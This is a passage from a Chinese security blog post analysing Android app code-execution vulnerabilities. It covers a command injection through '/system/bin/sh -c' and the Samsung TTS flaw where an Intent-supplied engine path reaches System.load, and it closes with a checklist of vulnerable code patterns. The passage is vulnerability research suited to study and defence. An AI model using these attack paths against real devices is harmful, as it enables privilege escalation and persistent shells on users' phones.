14str2[ 2] = str1;
15v0 = CommandLineUtil.runInner(arg6, str2);
16}
17} returnv0;
18}
命令参数 /system/bin/sh -c str1 外部可控,导致存在命令注入。但是存在一些过滤,Flanker 在他的文章中介绍了如何绕过,有兴趣的读者自行翻阅,本文不赘述。挖掘到受害 APP 中 Runtime.getRuntime.exec(command) 的 command 参数外部可控导致的命令注入相关问题似乎可遇不可求hh……
Samsung TTS
梳理下该漏洞的形成:
通过SamsungTTSService->onCreate => LangPackMgr->init 它注册并接受外部传入的 Intent;
接收方盲目地信任由 SMT_ENGINE_PATH 参数提供的外来数据;
经过一些处理后,LangPackMgr.updateEngine 创建一个线程,com.samsung.SMT.engine.SmtTTS->reloadEngine 该线程调用导致 System->load,导致在 SMT 本身中执行任意代码。
乍一看难以置信,但确实存在,典型的本地提权漏洞。最终触发动态加载 SO 文件的代码如下:
1publicboolean reloadEngine( ) {
2//…
3this.stop;
4try{
5String v0_2 = CHelper. get.INSTALLED_ENGINE_PATH;
6if(CString.isValid(v0_2)) {
7System.load(v0_2); //<- triggers load
8}
9else{
10gotolabel_70;
11}
12}
13}
值得一提的是,该漏洞不需要手动启动攻击应用程序。通过精心设计的论据,安装看似无害的 POC apk 将触发此漏洞。此外,由于 SMT 将在启动时重新启动每个已注册的库,攻击者可以在用户不通知的情况下悄悄获取持久 shell。
Flanker 给了整个攻击流程图:
Flanker 成功利用漏洞并获得 Shell,Github 上还给出了 POC 程序:vendor-android-cves,此处暂未分析复现该漏洞,后续再找时间深入分析。
0 6
总结
本文通过学习业内大佬公开的博文,总结并分析了 Android APP 代码执行漏洞的一些 CVE 案例和攻击面,显然 Android 系统应用层实现代码执行漏洞的途径可能远不止如此,但是相信本文还是提供了一些有效的思路。
从这几个案例中分析总结下不难发现,对于有意挖掘代码执行类型的漏洞挖掘者,应该关注以下可导致命令执行的几个点:
未经严格校验直接反射调用其它 APP 的类和函数(比如不存在的包名、可卸载的包名等),此类代码特征为:context.createPackageContext(…)、classLoader.loadClass(…) 等;
动态加载 Dex、So 库等(但需要结合任意文件覆写漏洞),代码特征为:new DexClassLoader(…)、Sytem.load(…) 等;
调用代码执行命令的 API 时未严格校验外部传入的参数,代码特征为:Runtime.getRuntime.exec(command)(实际上是命令注入漏洞而不是代码执行漏洞)。
关于任意文件覆写漏洞则可以关注几点:
关注可导出的四大组件(包括动态注册的 Receiver)中的 LaunchAnyWhere 或 BroadcastAnyWhere 类型的漏洞,结合 ContentProvider 的 root-path 设置不合理的情况(参见:Android FileProvider特性与Intent重定向漏洞),可形成任意文件覆写;
关注应用程序中关于 ZIP 文件解压缩的代码逻辑,是否存在 Android Zip解压缩目录穿越导致文件覆盖漏洞;
关注 ContentProvider 组件的 OpenFile 函数,是否存在 ContentProvider openFile接口目录遍历漏洞。
最后,Good luck to everyone!
END
版权声明:本文为CSDN博主「Tr0e」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
版权声明:著作权归作者所有。如有侵权请联系删除
网安训练营
环境搭建
Python
学员专辑
信息收集
CNVD
安全求职
渗透实战
CVE
高薪揭秘
渗透测试工具
网络安全行业
神秘大礼包
基础教程
我们贴心备至
用户答疑
QQ在线客服
加入社群
QQ+微信等着你
我就知道你“在看”返回搜狐,查看更多
责任编辑: